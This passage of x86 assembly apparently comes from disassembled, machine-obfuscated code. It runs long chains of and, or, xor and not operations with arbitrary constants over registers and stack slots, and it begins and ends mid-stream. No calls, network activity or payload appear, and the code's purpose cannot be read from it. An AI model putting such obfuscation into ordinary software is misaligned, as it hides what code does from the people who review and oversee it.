or ecx, eax
mov eax, ecx
xor eax, 0x92303b00
xor ecx, 0x5448088
and ecx, 0x45cec4ba
and eax, 0xba313b45
or eax, ecx
mov edi, eax
xor edi, 0x1c844a2
xor eax, 0x28100145
and eax, 0x6c16815d
and edi, 0x93e97ea2
or edi, eax
mov ebp, dword [esp + 4]
mov eax, ebp
or eax, 0x646010b9
mov edx, dword [esp]
mov ecx, edx
or ecx, 0x890aa204
and eax, 0xed6ab2bd
and edx, 0x12114042
or edx, eax
and ecx, 0xed6ab2bd
mov eax, ebp
and eax, 0x840d00
or eax, ecx
xor eax, edx
mov ebx, eax
xor ebx, 0x7c220dd5
xor eax, 0x80c88022
mov ecx, ebx
and ecx, 0x27157e8d
and eax, 0xd8ea8172
or eax, ecx
mov esi, edi
xor esi, 0x93e97ea2
mov ecx, ebp
or ebx, ebp
and ecx, 0x27157e8d
mov edx, ecx
mov ecx, dword [esp]
and ecx, 0xd8ea8172
or ecx, edx
xor ecx, eax
not ebx
or ebx, ecx
xor edi, 0x6c16815d
mov edx, esi
mov eax, edi
and eax, esi
mov ecx, edi
and ecx, 0xd3c2e5c0
and esi, 0x2c3d1a3f
or esi, ecx
not esi
or esi, edi
mov dword [esp + 4], esi
and edi, 0xd80b0b6c
and edx, 0x27f4f493
or edx, edi
mov ecx, edx
xor ecx, 0x21940081
xor edx, 0xd80b0b6c
mov esi, edx
and esi, 0x9661fd12
and ecx, 0x699e02ed
or ecx, esi
mov esi, eax
not esi
or edx, esi
and esi, 0x9661fd12
and eax, 0x699e02ed
or eax, esi
mov edi, ebx
not edi
xor eax, ecx
not edx
or edx, eax
mov eax, ebx
and eax, 0x1163b689
mov ecx, edi
and ecx, 0xee9c4976
or ecx, eax
mov ebp, ecx
mov eax, edx
xor eax, 0x4f67e51d
mov dword [esp + 0xc], eax
and eax, edx
mov dword [esp + 8], eax
mov eax, edx
mov esi, edx
not esi
mov dword [esp + 0x10], esi
and eax, 0xcc36a7f8
mov ecx, esi
and ecx, 0x33c95807
or ecx, eax
xor ecx, 0xe00bbdc7
and esi, 0x2c3d1a3f
or esi, ecx
mov dword [esp + 0x1c], ebp
mov edx, ebp
xor edx, 0xee9c4976
mov dword [esp + 0x18], edx
mov eax, ebp
xor eax, 0x1163b689
mov dword [esp], eax
and eax, 0x2c3d1a3f
mov ebp, edx
and ebp, 0xd3c2e5c0
or ebp, eax
mov eax, ebx
and eax, 0xd3c2e5c0
and edi, 0x2c3d1a3f
or edi, eax
xor ebx, edi
and ebx, edi
mov dword [esp + 0x20], ebx
mov edi, esi
not edi
mov eax, esi
and eax, 0x187c00ba
xor esi, 0x48213806
and esi, edi
and edi, 0xe783ff45
or edi, eax
mov edx, edi
xor edx, 0xe783ff45
mov ecx, edi
xor ecx, 0xafa2c743
and ecx, edx
mov eax, ecx
not eax
mov ebx, eax
and ebx, 0x4d24a308
and ecx, 0xb2db5cf7
or ecx, ebx
mov ebx, esi
not ebx
or eax, ebx
and ebx, 0x4d24a308
and esi, 0xb2db5cf7
or esi, ebx
xor esi, ecx
not eax
or eax, esi
xor edi, 0x187c00ba
mov ecx, edi
and ecx, 0x31186c81
and edx, 0xcee7937e
or edx, ecx
mov esi, dword [esp + 4]
mov ecx, esi
not ecx
xor eax, esi
or edi, ecx
and ecx, 0x31186c81
and esi, 0xcee7937e
or esi, ecx
xor esi, edx
not edi
or edi, esi
xor eax, 0x48213806
not edi
or edi, eax
not ebp
mov ebx, dword [esp]
or ebp, ebx
mov ecx, dword [esp + 0x20]
mov eax, ecx
and ecx, ebp
not ebp
not eax
mov edx, ebp
xor edx, eax
and edx, ebp
and eax, ebp
or eax, ecx
mov ecx, edx
not ecx
mov esi, ecx
and esi, 0xd1d3d45
and edx, 0xf2e2c2ba
or edx, esi
mov esi, eax
not esi
or ecx, esi
and esi, 0xd1d3d45
and eax, 0xf2e2c2ba
or eax, esi
xor eax, edx
not ecx
or ecx, eax
mov eax, ecx
not eax
mov edx, eax
and eax, 0xd2275afd
and ecx, 0x2dd8a502
or ecx, eax
or edx, edi
not edi
xor ecx, 0xd2275afd
or ecx, edi
mov eax, edx
xor eax, ecx
or ecx, edx
not ecx
or ecx, eax
mov eax, dword [esp + 0x1c]
xor eax, 0xa1fbac6b
and eax, ebx
mov ebx, dword [esp + 0x18]
and ebx, 0xb0981ae2
or ebx, eax
mov edi, dword [esp + 0x10]
mov ebp, dword [esp + 0xc]
and ebp, edi
mov eax, ebp
not eax
mov edx, eax
and edx, 0x8cda956a
and ebp, 0x73256a95
or ebp, edx
mov esi, dword [esp + 8]
mov edx, esi
not edx
or eax, edx
and edx, 0x8cda956a
and esi, 0x73256a95
or esi, edx
xor esi, ebp
not eax
or eax, esi
mov edx, ebx
xor edx, ebx
not edx
and edx, eax
xor edx, ebx
or edi, dword [esp]
mov eax, edx
not eax
mov esi, eax
and esi, 0x3b5f063
and edx, 0xfc4a0f9c
or edx, esi
mov esi, edi
xor edx, edi
xor edx, 0xfc4a0f9c
or eax, edi
not eax
or eax, edx
mov edx, eax
not edx
mov esi, edx
and esi, 0x2aab4d86
mov edi, eax
and edi, 0xd554b279
or edi, esi
mov esi, edi
xor esi, 0x81009041
xor edi, 0x22004180
or edx, 0x26004180
or edi, 0x505d0420
and edi, 0x765d45a0
and esi, 0x89809841
or esi, edi
and edx, 0x765d45a0
and eax, 0x22221e
or eax, edx
xor eax, esi
mov edx, eax
xor edx, 0x507f263e
xor eax, 0x2a0048c1
and edx, 0x85fa9504
and eax, 0x7a056afb
or eax, edx
mov esi, eax
xor esi, 0x7a056afb
xor eax, 0x85fa9504
mov edx, ecx
xor edx, eax
and edx, ecx
xor eax, esi
and eax, ecx
xor eax, esi
mov ecx, edx
not ecx
mov esi, eax
not esi
mov edi, ecx
and edi, 0x4bdd33f9
and edx, 0xb422cc06
or edx, edi
or ecx, esi
and esi, 0x4bdd33f9
and eax, 0xb422cc06
or eax, esi
xor eax, edx
not ecx
or ecx, eax
mov edx, ecx
not edx
mov eax, ecx
mov esi, edx
and esi, 0x6caa5772
and ecx, 0x9355a88d
or ecx, esi
not ecx
or ecx, edx
and edx, 0x725326ca
and eax, 0x8dacd935
or eax, edx
mov edx, eax
xor edx, 0x801915
xor eax, 0x725326ca
and edx, 0x50803ddf
mov esi, eax
and esi, 0xaf7fc220
or esi, edx
xor esi, 0xc3d59552
and eax, 0x9355a88d
or eax, esi
mov edi, ecx
not edi
mov edx, ecx
xor edx, 0x46251d1e
mov esi, edx
and esi, ecx
or ecx, eax
xor eax, 0x46251d1e
and edx, edi
mov edi, esi
not edi
mov ebx, edi
and ebx, 0x9951d847
and esi, 0x66ae27b8
or esi, ebx
mov ebx, edx
not ebx
or edi, ebx
and ebx, 0x9951d847
and edx, 0x66ae27b8
or edx, ebx
xor edx, esi
not edi
or edi, edx
mov edx, edi
xor edx, edi
not edx
and edx, eax
xor edx, edi
mov ebp, edx
not ebp
mov esi, ebp
and esi, 0x7314ed94
and edx, 0x8ceb126b
or edx, esi
xor edx, ecx
xor edx, 0x8ceb126b
or ebp, ecx
not ebp
or ebp, edx
mov ecx, ebp
not ecx
mov edx, ebp
or edx, 0x8080c0
mov esi, ecx
or esi, 0x604c431c
and edx, 0x60ccc3dc
and ecx, 0x14200402
or ecx, edx
and esi, 0x60ccc3dc
and ebp, 0x8b133821
or ebp, esi
xor ebp, ecx
mov ecx, ebp
not ecx
mov edx, ebp
xor edx, 0xf0ff0a09
and edx, ebp
mov esi, ecx
and esi, 0xf1d45c84
and ebp, 0xe2ba37b
or ebp, esi
xor ebp, 0x8ad64ec8
or ebp, ecx
and ecx, 0xf0ff0a09
or edx, ecx
mov ecx, edx
xor ecx, 0xf00f0e6
xor edx, 0x80e90809
and edx, 0x80e90d19
and ecx, 0x7f16f2e6
or ecx, edx
mov edx, ecx
xor edx, 0x700002e6
xor ecx, 0x800
and ecx, 0xf16f800
and edx, 0xf0e907ff
or edx, ecx
mov ecx, edx
xor ecx, 0xf0e907ff
xor edx, 0x3009800
and edx, 0x23699d11
mov esi, ecx
and esi, 0xdc9662ee
or esi, edx
mov edx, esi
xor edx, 0xdc9662ee
xor esi, 0xd1d8ef3
and esi, edx
and ecx, 0xd18bec1d
or ecx, esi
mov edx, ecx
xor edx, 0x2a200180
xor ecx, 0xc103e000
and ecx, 0xc557f262
and edx, 0x3aa80d9d
or edx, ecx
mov ebx, edx
xor ebx, 0xc557f262
mov eax, edx
xor eax, 0x3aa80d9d
mov edi, ebx
or edi, 0x45dc7809
mov ecx, edi
and ecx, 0xc079ee7a
mov esi, eax
mov dword [esp + 4], eax
and esi, 0x3a020184
or esi, ecx
xor edx, 0x7f747594
and edx, ebx
mov dword [esp], ebx
mov ecx, edx
not ecx
or edi, ecx
and ecx, 0xc079ee7a
and edx, 0x3f861185
or edx, ecx
xor edx, esi
not edi
or edi, edx
mov ecx, edi
xor ecx, 0xc02084ba
xor edi, 0x3ede6a45
mov edx, edi
and edx, 0x3f097904
and ecx, 0xc0f686fb
or ecx, edx
mov edx, ebx
and edx, 0x3f097904
mov esi, eax
and esi, 0xc0f686fb
or esi, edx
xor esi, ecx
xor edi, esi
and edi, esi
mov ecx, edi
not ecx
mov dword [esp + 8], ecx
and ecx, 0x23f3bbeb
mov esi, edi
and esi, 0xdc0c4414
or esi, ecx
mov ebx, esi
xor ebx, 0x40004404
xor esi, 0x23f3bbeb
mov ecx, esi
and ecx, 0xbd0e19bb
and ebx, 0x42f1e644
or ebx, ecx
mov ecx, ebp
not ecx
mov edx, ecx
and edx, 0xbd0e19bb
mov eax, ebp
and eax, 0x42f1e644
or eax, edx
xor eax, ebx
or esi, ecx
not esi
or esi, eax
mov edx, dword [esp + 8]
mov eax, edx
and eax, 0x63a81a2e
and edi, 0x9c57e5d1
or edi, eax
xor edi, ebp
xor edi, 0x9c57e5d1
and edi, ecx
and ebp, 0xc890557f
and ecx, 0x376faa80
or ecx, ebp
xor ecx, 0xc890557f
or ecx, edx
mov edx, edi
not edx
mov eax, edx
and eax, 0x28ac6e1e
and edi, 0xd75391e1
or edi, eax
xor edi, ecx
or edx, ecx
mov ecx, esi
not ecx
xor edi, 0xd75391e1
not edx
or edx, edi
mov eax, edx
not eax
and edx, esi
or esi, eax
and eax, ecx
or eax, edx
mov edi, eax
not edi
mov ecx, edi
and ecx, 0x4301e56d
and eax, 0xbcfe1a92
or eax, ecx
xor eax, esi
xor eax, 0xbcfe1a92
or edi, esi
not edi
or edi, eax
mov eax, edi
not eax
mov ecx, eax
and ecx, 0x30282693
mov edx, edi
and edx, 0x4280000c
or edx, ecx
xor edx, 0x4280000c
mov ecx, eax
and ecx, 0x8d57d960
or ecx, edx
mov edx, ecx
not edx
and edx, 0x84fdedb2
and ecx, 0x7b02124d
or ecx, edx
mov ebp, ecx
xor ebp, 0x84fdedb2
and ebp, ecx
and eax, 0x9f45830f
and edi, 0x60ba7cf0
or edi, eax
mov edx, edi
xor edx, 0x60ba7cf0
xor edi, 0x11458208
and edi, 0x7177d2f8
mov ecx, edx
and ecx, 0x8e882d07
or ecx, edi
xor ecx, 0xa75c0b5
and edx, 0x7b02124d
or edx, ecx
mov eax, edx
not eax
mov dword [esp + 8], eax
mov ecx, edx
and ecx, 0x36296219
and eax, 0xc9d69de6
or eax, ecx
mov dword [esp + 0xc], eax
mov esi, ebp
or esi, 0xc9d69de6
mov edi, ebp
not edi
mov ebx, esi
and ebx, 0x5d08ce3
mov ecx, edi
and ecx, 0x32296218
or ecx, ebx
mov ebx, ebp
xor ebx, 0x36296219
and ebx, ebp
mov eax, ebx
not eax
or esi, eax
and eax, 0x5d08ce3
and ebx, 0xfa2f731c
or ebx, eax
xor ebx, ecx
not esi
or esi, ebx
mov eax, dword [esp + 0xc]
mov ebx, eax
xor ebx, eax
not ebx
and ebx, esi
xor ebx, eax
mov eax, ebp
and eax, 0x6309b146
and edi, 0x9cf64eb9
or edi, eax
mov eax, dword [esp + 8]
or ebp, eax
and eax, 0x6309b146
and edx, 0x9cf64eb9
or edx, eax
xor edx, edi
not ebp
or ebp, edx
mov ecx, ebx
not ecx
mov eax, ecx
and eax, 0x41c4048d
and ebx, 0xbe3bfb72
or ebx, eax
xor ebx, ebp
xor ebx, 0xbe3bfb72
or ecx, ebp
not ecx
or ecx, ebx
mov ebx, ecx
mov edx, dword [esp + 4]
mov ecx, edx
and ecx, 0x59d1fbda
mov edi, dword [esp]
mov eax, edi
and eax, 0xa62e0425
or eax, ecx
xor eax, 0x59d1fbdb
or eax, edx
mov ecx, edx
mov esi, edx
and ecx, 0xc4a8408a
mov edx, edi
and edx, 0x30111224
or edx, ecx
mov ecx, edx
xor ecx, 0x10111200
xor edx, 0x1080991
or esi, 0x200800a4
and edx, 0x210809b5
and ecx, 0xd4b1520a
or ecx, edx
and esi, 0x210809b5
and edi, 0xa46a440
or edi, esi
xor edi, ecx
mov ecx, edi
xor ecx, 0xf4b952af
and ecx, eax
not eax
xor edi, 0xb46ad50
mov edx, eax
xor edx, edi
and edx, eax
and edi, eax
or edi, ecx
or edi, edx
mov edx, edi
not edx
mov eax, edx
or eax, 0x5030320a
mov ecx, edi
or ecx, 0xa9040150
and ecx, 0xf934335a
mov esi, edx
and esi, 0x2c98025
or esi, ecx
and eax, 0xf934335a
mov ecx, edi
and ecx, 0x4024c80
or ecx, eax
xor ecx, esi
mov eax, ecx
xor eax, 0xad064dd0
xor ecx, 0x12c11224
and eax, 0xed3ca19b
and ecx, 0x12c35e64
or ecx, eax
mov eax, ecx
xor eax, 0xa8348018
xor ecx, 0x21440
and ecx, 0x450a35c3
and eax, 0xbaf5ca3c
or eax, ecx
mov esi, eax
xor esi, 0xbaf5ca3c
xor eax, 0xa0541
mov ecx, edx
and ecx, 0x9e24ea29
and edi, 0x61db15d6
or edi, ecx
xor edi, 0x61db15d6
xor edx, edi
and edx, edi
mov edi, edx
not edi
mov ecx, esi
xor ecx, edi
and ecx, esi
and eax, 0xa0acf4d
and esi, 0xf5f530b2
or esi, eax
and edi, 0xa0acf4d
and edx, 0xf5f530b2
or edx, edi
xor edx, esi
or edx, ecx
mov eax, edx
not eax
mov ecx, eax
and ecx, 0xa624e012
mov esi, edx
and esi, 0x10000cc0
or esi, ecx
mov ecx, esi
xor ecx, 0x10000400
xor esi, 0x4951b30e
or eax, 0xa8c2
and esi, 0x4951bbce
and ecx, 0xb6244410
or ecx, esi
and eax, 0x4951bbce
and edx, 0x8a0021
or edx, eax
xor edx, ecx
mov eax, edx
xor eax, 0x49db132d
mov ecx, edx
xor ecx, 0x2000002
and ecx, 0x4200102b
xor edx, 0xb2798702
and edx, eax
and eax, 0xb9a28404
or eax, ecx
xor eax, 0xb9a28404
or edx, eax
mov ebp, edx
xor ebp, 0xfba2942f
xor edx, 0x45d6bd0
mov eax, edx
and eax, 0xdb2ff11b
and edx, ebp
and ebp, 0x24d00ee4
or ebp, eax
mov eax, ebp
xor eax, 0xd00460
xor ebp, 0xdb2ff11b
mov ecx, edx
not ecx
mov esi, ebp
and esi, 0xe42a3b8d
and eax, 0x1bd5c472
or eax, esi
or ebp, ecx
and ecx, 0xe42a3b8d
and edx, 0x1bd5c472
or edx, ecx
xor edx, eax
not ebp
or ebp, edx
mov esi, ebp
not esi
mov eax, ebx
not eax
mov ecx, ebx
mov edx, eax
and edx, 0x7d823a38
and ebx, 0x827dc5c7
or ebx, edx
mov edx, eax
xor ebx, 0x5c80bcf3
or ebx, eax
mov dword [esp + 8], ebx
and eax, 0x4925208
and ecx, 0x24ac62
or ecx, eax
xor ecx, 0x24ac62
and edx, 0xfb490195
or edx, ecx
mov dword [esp + 0x10], edx
mov eax, esi
and eax, 0x469c622e
mov ecx, ebp
and ecx, 0xb9639dd1
or ecx, eax
xor ecx, 0xb9639dd1
mov ebx, esi
and ebx, ebp
or ebx, ecx
mov dword [esp + 4], ebx
mov eax, edx
not eax
mov dword [esp + 0xc], eax
and eax, 0x88013920
mov ecx, edx
and ecx, 0x56fc4014
or ecx, eax
mov edi, ecx
xor edi, 0x2580004
or edi, 0x800b
xor ecx, 0x3100
and ecx, 0x54a47110
and edi, 0x8a59882f
or edi, ecx
mov eax, ebx
not eax
mov dword [esp], eax
and eax, 0x210286cb
and ebx, 0xdefd7934
or ebx, eax
mov eax, esi
and eax, 0xdefd7934
and ebp, 0x210286cb
or ebp, eax
xor esi, ebp
and esi, ebp
mov dword [esp + 0x18], esi
mov eax, edi
xor eax, 0x8a59882f
mov esi, edi
xor esi, 0x75a677d0
xor edi, 0xedbd2c81
and edi, esi
mov ecx, eax
and ecx, 0x98195910
or ecx, edi
mov edi, dword [esp + 8]
mov edx, edi
not edx
mov ebp, edi
xor ebp, 0x981b5b51
and ebp, edi
mov edi, edx
and edi, 0x981b5b51
or edi, ebp
mov ebp, edi
xor ebp, edi
not ebp
and ebp, ecx
xor ebp, edi
mov ecx, eax
and ecx, 0x4a504934
and esi, 0xb4adb048
or esi, ecx
or eax, edx
and edx, 0x4b524fb7
mov ecx, dword [esp + 8]
and ecx, 0xb4adb048
or ecx, edx
xor ecx, esi
not eax
or eax, ecx
mov edi, ebp
not edi
mov ecx, edi
and ecx, 0x55dc319
and ebp, 0xfaa23ce6
or ebp, ecx
mov ecx, eax
not ecx
or edi, eax
and eax, 0x55dc319
and ecx, 0xfaa23ce6
or ecx, eax
xor ecx, ebp
not edi
or edi, ecx
not ebx
mov ebp, dword [esp]
or ebx, ebp
mov ecx, dword [esp + 0x18]
mov eax, ecx
and ecx, ebx
not ebx
not eax
mov esi, ebx
xor esi, eax
and esi, ebx
and eax, ebx
or eax, ecx
mov ecx, esi
not ecx
mov edx, ecx
and edx, 0x287fe9b8
and esi, 0xd7801647
or esi, edx
mov edx, eax
not edx
or ecx, edx
and edx, 0x287fe9b8
and eax, 0xd7801647
or eax, edx
xor eax, esi
not ecx
or ecx, eax
xor edi, 0x8b6fc29e
xor ecx, 0x8b6fc29e
mov eax, ecx
xor eax, ecx
not eax
and eax, edi
xor eax, ecx
mov dword [esp + 8], eax
mov ebx, dword [esp + 0x10]
mov edi, ebx
xor edi, 0xaf117156
and edi, ebx
mov eax, dword [esp + 0xc]
and eax, 0xec33b21c
and ebx, 0x13cc4de3
or ebx, eax
mov eax, ebp
and eax, 0x20a7dbf5
mov edx, dword [esp + 4]
and edx, 0xdf58240a
or edx, eax
mov eax, ebx
xor eax, 0x13cc4de3
mov dword [esp + 0xc], eax
and eax, 0xaf117156
or edi, eax
mov eax, edx
xor eax, 0xdf58240a
mov ebp, edx
xor ebp, 0x8fb6aaa3
and ebp, eax
mov ecx, ebp
not ecx
mov esi, ecx
and esi, 0xe63a094a
and ebp, 0x19c5f6b5
or ebp, esi
mov esi, dword [esp]
or esi, 0xaf117156
or ecx, esi
and esi, 0xe63a094a
mov dword [esp], esi
mov esi, dword [esp + 4]
and esi, 0x10c486a1
add esi, dword [esp]
xor esi, ebp
not ecx
or ecx, esi
xor ecx, edi
xor ebx, 0xec33b21c
mov esi, ebx
and esi, 0x4b13ca19
mov edi, dword [esp + 0xc]
and edi, 0xb4ec35e6
or edi, esi
xor edx, 0x20a7dbf5
or ebx, edx
and edx, 0x4b13ca19
and eax, 0xb4ec35e6
or eax, edx
xor eax, edi
not ebx
or ebx, eax
mov edx, ecx
not edx
mov eax, edx
and eax, 0xd481aae7
and ecx, 0x2b7e5518
or ecx, eax
xor ecx, ebx
xor ecx, 0x2b7e5518
or edx, ebx
not edx
or edx, ecx
mov esi, edx
not esi
mov ecx, esi
and ecx, edx
mov eax, ecx
not eax
mov edi, edx
and edi, 0xf35692e7
and esi, 0xca96d18
or esi, edi
or edx, eax
and eax, 0xf35692e7
and ecx, 0xca96d18
or ecx, eax
xor ecx, esi
not edx
or edx, ecx
mov ecx, edx
not ecx
mov eax, ecx
and eax, 0x351ac62
and edx, 0xfcae539d
or edx, eax
xor edx, 0x351ac62
xor ecx, edx
and ecx, edx
mov eax, ecx
not eax
mov esi, dword [esp + 8]
mov edx, esi
xor edx, eax
and edx, esi
and eax, 0xa42aa325
and ecx, 0x5bd55cda
or ecx, eax
xor ecx, esi
mov eax, ecx
xor eax, 0xa428a101
mov esi, edx
not esi
xor ecx, 0x5bd55cda
mov edi, esi
and edi, 0x52d71a36
and edx, 0xad28e5c9
or edx, edi
or esi, ecx
and ecx, 0x52d71a36
and eax, 0xad28e5c9
or eax, ecx
xor eax, edx
not esi
or esi, eax
mov ecx, esi
not ecx
mov edx, ecx
and edx, esi
mov ebx, esi
mov eax, ecx
and eax, 0xffce05b3
mov edi, esi
and edi, 0x31fa4c
or edi, eax
mov ebp, ecx
and ebp, 0xb4492084
mov eax, esi
and esi, 0x4bb6df7b
or esi, ebp
and ebx, 0xbba39db2
xor edi, 0xffce05b3
or edi, ecx
xor esi, 0x4bb6df7b
or esi, edx
not esi
or esi, ecx
and ecx, 0x445c624d
or ecx, ebx
mov ebx, edx
not edx
or eax, edx
and edx, 0xbba39db2
and ebx, 0x445c624d
or ebx, edx
xor ebx, ecx
not eax
or eax, ebx
mov ecx, eax
not ecx
mov edx, ecx
or edx, edi
and ecx, 0x601ac7f
and eax, 0xf9fe5380
or eax, ecx
xor eax, edi
mov ecx, eax
xor ecx, 0x78e20280
xor eax, 0x601ac7f
mov edi, eax
and edi, 0x831c5512
and ecx, 0x7ce3aaed
or ecx, edi
xor ecx, edx
xor ecx, 0x7ce3aaed
or eax, edx
not eax
or eax, ecx
mov ecx, eax
not ecx
mov edx, eax
xor edx, 0x3f9ab692
and edx, eax
mov edi, eax
or edi, 0xc0044120
mov ebx, edx
not ebx
and edi, 0xce14c122
and ecx, 0x318a3690
or ecx, edi
or eax, ebx
and ebx, 0xce14c122
and edx, 0x31eb3edd
or edx, ebx
xor edx, ecx
not eax
or eax, edx
not edx
and edx, 0xc065496d
and eax, 0x3f9ab692
or eax, edx
mov ecx, eax
not ecx
and ecx, 0xc223fe2c
and eax, 0x3ddc01d3
or eax, ecx
mov ebx, eax
xor ebx, 0x3ddc01d3
mov ebp, esi
not ebp
xor eax, 0xc223fe2c
mov edx, ebx
mov ecx, eax
and ecx, 0x47291b22
and ebx, 0xb8d6e4dd
or ebx, ecx
not ebx
or ebx, eax
and eax, 0xfe467739
and edx, 0x1b988c6
or edx, eax
mov eax, esi
mov edi, esi
mov dword [esp + 8], esi
and eax, 0x3bdf3601
mov ecx, ebp
and ecx, 0xc420c9fe
or ecx, eax
xor ecx, 0xc420c9fe
and edi, ebp
or edi, ecx
mov ecx, edi
not ecx
mov eax, ecx
and eax, 0xb8d6e4dd
mov esi, edi
and esi, 0x47291b22
or esi, eax
mov eax, edx
xor eax, 0x1b988c6
mov dword [esp + 0x10], eax
xor edx, 0xfe467739
mov eax, edx
and eax, 0x1210000
mov dword [esp + 0xc], eax
not esi
or esi, ecx
mov dword [esp + 4], esi
and edi, edx
mov dword [esp + 0x18], edi
or edx, ecx
mov dword [esp + 0x1c], edx
mov eax, dword [esp + 0x10]
and ecx, eax
mov dword [esp], ecx
and eax, 0x46081b22
add eax, dword [esp + 0xc]
mov ecx, eax
xor ecx, 0x46000b20
or ecx, 0x80c04081
and eax, 0x81002
and ecx, 0xc7e14ba1
or ecx, eax
mov eax, dword [esp + 8]
and eax, 0x7e082048
and ebp, 0x81f7dfb7
or ebp, eax
mov edx, ebp
xor edx, 0x81f7dfb7
xor ebp, 0x8080048
and ebp, 0x899c8ce
mov eax, edx
and eax, 0xf7663731
or eax, ebp
xor eax, 0x4fb0d3ec
and edx, 0x47291b22
or edx, eax
mov dword [esp + 8], edx
mov edi, ecx
xor edi, 0xc7e14ba1
xor ecx, 0x38089050
and ecx, 0xfb6898f1
mov eax, edi
and eax, 0x4010302
or eax, ecx
mov edx, ebx
not edx
mov esi, ebx
and esi, 0xb6831eed
xor ebx, 0x31032808
and ebx, edx
and edx, 0x497ce112
or edx, esi
mov ecx, eax
xor ecx, 0x497670e
mov dword [esp + 0xc], ecx
and ecx, 0xce78d7f3
and edi, 0x1010800
or edi, ecx
mov dword [esp + 0x10], edi
mov esi, edx
xor esi, 0x497ce112
mov ecx, edx
xor ecx, 0x787fc91a
and ecx, esi
mov ebp, ecx
not ebp
mov edi, ebp
and edi, 0xeca003bd
and ecx, 0x135ffc42
or ecx, edi
mov edi, ebx
not edi
or ebp, edi
and edi, 0xeca003bd
and ebx, 0x135ffc42
or ebx, edi
xor ebx, ecx
not ebp
or ebp, ebx
xor ebp, dword [esp + 0x10]
xor eax, 0xfb6898f1
mov ecx, eax
and ecx, 0x84481322
mov edi, dword [esp + 0xc]
and edi, 0x73216c81
or edi, ecx
xor edx, 0xb6831eed
or eax, edx
and edx, 0x8cde937e
and esi, 0x73216c81
or esi, edx
xor esi, edi
not eax
or eax, esi
mov ecx, ebp
xor ecx, 0x800004
xor ebp, 0xff7bfffb
mov edx, ebp
and edx, 0x997517c0
and ecx, 0x668ae83f
or ecx, edx
mov edx, eax
not edx
or ebp, eax
and eax, 0x997517c0
and edx, 0x668ae83f
or edx, eax
xor edx, ecx
not ebp
or ebp, edx
mov esi, dword [esp + 8]
mov eax, esi
not eax
mov edx, dword [esp + 4]
mov ecx, edx
or ecx, esi
and esi, 0x5f426496
and eax, 0xa0bd9b69
or eax, esi
xor eax, edx
mov edx, eax
xor edx, 0xa0bd9b69
xor eax, 0x5f426496
mov esi, eax
and esi, 0x11035ab7
and edx, 0xeefca548
or edx, esi
xor edx, ecx
or eax, ecx
xor edx, 0xeefca548
not eax
or eax, edx
mov ecx, ebp
not ecx
mov edx, ecx
and edx, 0x8110d7ee
mov esi, ebp
and esi, 0x7eef2811
or esi, edx
mov edx, eax
not edx
xor esi, edx
xor esi, 0x7eef2811
and esi, eax
and edx, 0x9090c468
and eax, 0x6f6f3b97
or eax, edx
xor eax, ecx
xor eax, 0x6f6f3b97
and eax, ebp
or eax, esi
mov ecx, dword [esp + 0x1c]
not ecx
mov esi, dword [esp]
or esi, dword [esp + 0x18]
or esi, ecx
mov ecx, esi
not ecx
mov edx, ecx
and edx, 0x3a12828b
and ecx, esi
and esi, 0xc5ed7d74
or esi, edx
xor esi, 0xc5ed7d74
or esi, ecx
mov edx, esi
mov dword [esp], esi
mov esi, eax
not esi
mov dword [esp + 4], esi
mov ecx, eax
xor ecx, 0x196651bd
mov edi, ecx
and edi, esi
mov esi, edi
not esi
mov ebx, esi
and ebx, 0x529de6dc
and edi, 0xad621923
or edi, ebx
and ecx, eax
mov ebx, ecx
not ebx
or esi, ebx
and ebx, 0x529de6dc
and ecx, 0xad621923
or ecx, ebx
xor ecx, edi
mov edi, edx
not edi
not esi
or esi, ecx
mov ebx, edx
xor ebx, 0x196651bd
and ebx, edi
mov ecx, ebx
not ecx
mov ebp, ecx
and ebp, 0xf35d8f43
and ebx, 0xca270bc
or ebx, ebp
mov ebp, edi
or ebp, 0x196651bd
or ecx, ebp
and ebp, 0xf35d8f43
mov edx, dword [esp]
and edx, 0x4802000
or edx, ebp
xor edx, ebx
not ecx
or ecx, edx
mov ebx, ecx
xor ebx, ecx
not ebx
and ebx, esi
xor ebx, ecx
mov ecx, eax
and ecx, 0x60a49b62
mov edx, dword [esp + 4]
and edx, 0x9f5b649d
or edx, ecx
mov ecx, dword [esp]
or eax, ecx
and ecx, 0x60a49b62
and edi, 0x9f5b649d
or edi, ecx
xor edi, edx
not eax
or eax, edi
not eax
or eax, ebx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0x15ec4da
mov esi, eax
and esi, 0xfea13b25
or esi, edx
mov edx, esi
xor edx, 0xc8211220
xor esi, 0x80450
or ecx, 0x2082c50
or esi, 0x1100010d
and esi, 0x13082d5d
and edx, 0xc8371222
or edx, esi
and ecx, 0x13082d5d
and eax, 0x24c0c080
or eax, ecx
xor eax, edx
mov ecx, eax
xor ecx, 0x35c0c18d
xor eax, 0x280820
and ecx, 0xea17f653
and eax, 0x15e809ac
or eax, ecx
mov ecx, eax
xor ecx, 0xe204b013
xor eax, 0x15480084
and eax, 0x1d5b46c4
and ecx, 0xe2a4b93b
or ecx, eax
mov eax, ecx
xor eax, 0xe2a4b93b
xor ecx, 0x1d5b46c4
mov edx, ecx
and edx, eax
and ecx, 0x461ad37a
and eax, 0xb9e52c85
or eax, ecx
xor eax, 0x461ad37a
or eax, edx
mov ecx, eax
not ecx
and ecx, 0x1d31bacf
mov edx, eax
and edx, 0xe2ce4530
or edx, ecx
mov ecx, edx
xor ecx, 0xe2ce4530
xor edx, 0x1a849c80
and edx, ecx
and eax, 0xf84ad9b0
or eax, edx
mov edx, eax
xor edx, 0x6242641
xor eax, 0x20420920
and eax, 0x21d3092e
and edx, 0xde2cf6d1
or edx, eax
mov ecx, edx
xor ecx, 0x21d3092e
xor edx, 0xde2cf6d1
mov eax, edx
and eax, 0x8f3feccd
mov esi, ecx
and esi, 0x70c01332
or esi, eax
mov eax, esi
xor eax, 0x70000302
xor esi, 0xd33e045
and esi, 0xdf3f075
and eax, 0xf20c0f8a
or eax, esi
mov ebx, eax
xor ebx, 0xdf3f075
and ebx, eax
and edx, 0x63f050
and ecx, 0xd900025
or ecx, edx
mov eax, ecx
xor eax, 0x900025
or eax, 0x600c0608
xor ecx, 0x42c040
and ecx, 0xd42c040
and eax, 0x60bd363d
or eax, ecx
mov ecx, eax
xor ecx, 0x211024
xor eax, 0x9f42c9c2
mov esi, ebx
xor esi, 0x4dd6abd9
mov edi, esi
and esi, ebx
mov edx, ebx
not edx
and edi, edx
or edx, eax
and eax, 0x4dd6abd9
and ecx, 0x215024
or ecx, eax
mov eax, edi
not eax
mov ebx, eax
and ebx, 0xa58a8215
and edi, 0x5a757dea
or edi, ebx
mov ebx, esi
not ebx
or eax, ebx
and ebx, 0xa58a8215
and esi, 0x5a757dea
